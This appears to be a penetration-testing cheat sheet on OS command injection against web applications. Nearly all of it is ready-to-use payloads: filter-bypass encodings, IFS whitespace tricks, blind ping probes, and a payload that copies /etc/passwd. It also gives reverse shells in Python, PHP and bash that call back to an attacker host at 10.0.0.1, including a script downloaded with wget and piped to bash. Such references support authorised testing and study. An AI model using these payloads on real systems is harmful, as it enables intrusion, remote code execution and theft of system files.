icon

OS Command Injection

Last modified: 2024-12-12

We can inject OS commands through URL params, POST data, etc.

Automation

  • commix

    commix.py -u https://example.com/?name=test
    commix.py -u https://example.com/ --method=POST -d "name=test"
    

*Use --batch option for default behavior without user input.


Basic Payloads

If the payload includes whitespaces (' '), we need to change it to '+' or URL encoding ('%20').

/api/cmd/whoami
/command/whoami

/?cmd=whoami
/?cmd=;id

/?cmd=ls
/?cmd=ls ..
/?cmd=ls ../
/?cmd=ls /home
<!-- Comment out at the end to ignore subsequent command/code. -->
?cmd=ls /home #

/?cmd=`ping -c 1 10.0.0.1`

/?file=example.txt; echo $(ls -al /)
/?file=example.txt; echo $(ls -al /) |

<!-- PHP query string -->
/?q=;system($_GET[cmd])&cmd=whoami
/?q=${system($_GET[cmd])}&cmd=whoami

/?productId=1&stockId=1|whoami
/?productId=1&stockId=1|id

<!-- Windows -->
/?file=example.txt | systeminfo #
/?file=example.txt ; systeminfo #
/?file=example.txt') ; systeminfo #

URL Encoding

We may be able to bypass specific character filter by encoding them.

# %0A: newline
/?cmd=ls%0Aid
# %250A: newline (double encoding)
/?cmd=ls%250Aid
# Adding at the end.
/?cmd=ls%0Aid%0A

# %26: &
/?cmd=ls%26id
# %2526: & (double encoding)
/?cmd=ls%2526id
# &&
/?cmd=ls%26%26id
/?cmd=ls%2526%2526id

# %3B: ;
/?cmd=ls%3Bid
# %253B: ; (double encoding)
/?cmd=ls%253Bid

Null-terminator

Sometimes, we need to put a null-terminator to ignore subsequent code given by the target application.

# URL encoding (%00)
?cmd=ls /home%00
# Escape sequence (\0, \00)
?cmd=ls /home\0
?cmd=ls /home\00

Bypass Whitespace Filter

Reference: https://www.ctfnote.com/web/os-command-injection/whitespace-bypass

If the website filters whitespaces and we cannot inject OS command including spaces e.g. 'sleep 5', we can insert Internal Field Separator (IFS) as whitespace:

$IFS$9
# or
${IFS}

Payload Examples:

Below is the ping -c 1 10.0.0.1 command:

/?cmd=ping$IFS$9-c$IFS$91$IFS$910.0.0.1
<!-- or -->
/?cmd=ping${IFS}-c${IFS}1${IFS}10.0.0.1

Ping

Try pinging to our local machine for checking if our command injection achieves.
To confirm the result, start tcpdump in our local machine.

# -i: Interface e.g. eth0, tun0
sudo tcpdump -i eth0 icmp

Then execute ping command in POST request.
Below are examples for POST data.

file=example.jpg&filetype=png;ping+-c+1+10.0.0.1

Reverse Shell

file=example.jpg&filetype=png;export RHOST="10.0.0.1";export RPORT=4444;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

PHP Reverse Shell

Reference: https://book.hacktricks.xyz/pentesting-web/command-injection#examples

# 1. Download PHP payload
wget https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php -O shell.php

# 2. Edit `ip` and `port` values.
vim shell.php

# 3. Send payload & get shell (run `nc -lvnp <port>` in another terminal before doing this)
/?cmd=ls%0Awget+http://10.0.0.1/shell.php+-O+/tmp/shell.php%0Aphp+/tmp/shell.php

Blind Command Injection (Time Delay)

Use ping command to check if the website will be loaded with time delay.

name=michael&email=michael@example.com||ping+-c+10+127.0.0.1||&message=hello
email=test@test.com;ping+-c+15+127.0.0.1+#&message=hello

If we find the command can be executed, we can execute the other commands as below.

email=test@test.com;cp+/etc/passwd+./+#&message=hello

JSON Injection

{ "username": "\"; pwd \"" }
{"email": "\";ping -c 1 10.0.0.1\""}

{"name":"<script>alert(1)</script>", "email":"victim@vulnerable.com"}

{"name": "admin", "content": "{{template: ./admin.php}}"}

PHP Injection

id=$(php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");')

# URL encode
id=1$(php%20-r%20'$sock=fsockopen(%2210.0.0.1%22,4444);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);')
id=1$(php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27)
id=1`php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27`

Indirect Payloads with Shell Script

If we cannot inject command directly as above, try injecting from files.

Create a shell script. The filename here is evil.sh`.

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

Host this file by starting web server in the directory where the evil.sh exists.

sudo python3 -m http.server 80

In target website, inject command to let target server download the shell script and execute it. Before that, we need to start listerner by nc -lvnp 4444 in another terminal in local machine. Here is the example.

/?cmd=ls;wget+http://10.0.0.1/evil.sh|bash

We might get a shell.